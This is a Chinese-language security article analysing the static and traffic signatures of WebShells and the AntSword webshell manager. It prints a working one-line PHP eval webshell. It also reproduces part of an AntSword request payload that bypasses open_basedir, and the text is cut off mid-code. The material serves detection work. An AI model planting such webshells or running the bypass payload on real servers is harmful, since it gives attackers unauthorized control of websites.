WebShell 特征分析
作者:HaiCheng@助安社区,关注公众号领取学习路线和资料。
WebShell
是黑客经常使用的一种恶意脚本,其目的是获得服务器的执行操作权限,常见的webshell编写语言为asp
/jsp
/php
。主要用于网站管理,服务器管理,权限管理等操作。使用方法简单,只需要上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站的服务器的管理。
正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的,也可以将其称为一种网页后门
常见的一句话木马:
<?php eval($_POST['shell']); ?>
蚁剑
Antsword(蚁剑)是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和或授权的安全研究人员以及网站管理员的需求。
github项目地址: https://github.com/AntSwordProject/antSword
蚁剑演示
成功入侵一个网站后,通常会将asp或者php后门文件与网站目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以到达控制网站服务器的目的
静态特征
蚁剑官方提供制作好的后门:https://github.com/AntSwordProject/AwesomeScript
php
中使用assert
,eval
等命令执行:
通过create_function
创建方法的方式来调用执行eval($_POST['ant'])
asp
使用的是eval
命令执行:
在jsp
使用的是Java
类加载(ClassLoader
),同时会带有base64
编码解码等字符特征
动态特征
使用一句话木马
<?php eval($_POST["shell"]); ?>
每一个请求体都存在@ini_set("display_errors",“0”);@set_time_limit(0)
开头。并且存在base64
等字符相应包的结果返回格式为:** 随机数+结果+随机数**
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) {
continue;
}
;
$tmdir=$item."/.f5fe04b0758";
@mkdir($tmdir);
if(!@file_exists($tmdir)) {
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir("..");
}
;
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
;
}
;
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "3b5f"."064c";
echo @asenc($output);
echo "83c25"."58ff6f";
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{
$D} ";
if(substr($D,0,1)!="/") {
foreach(range("C",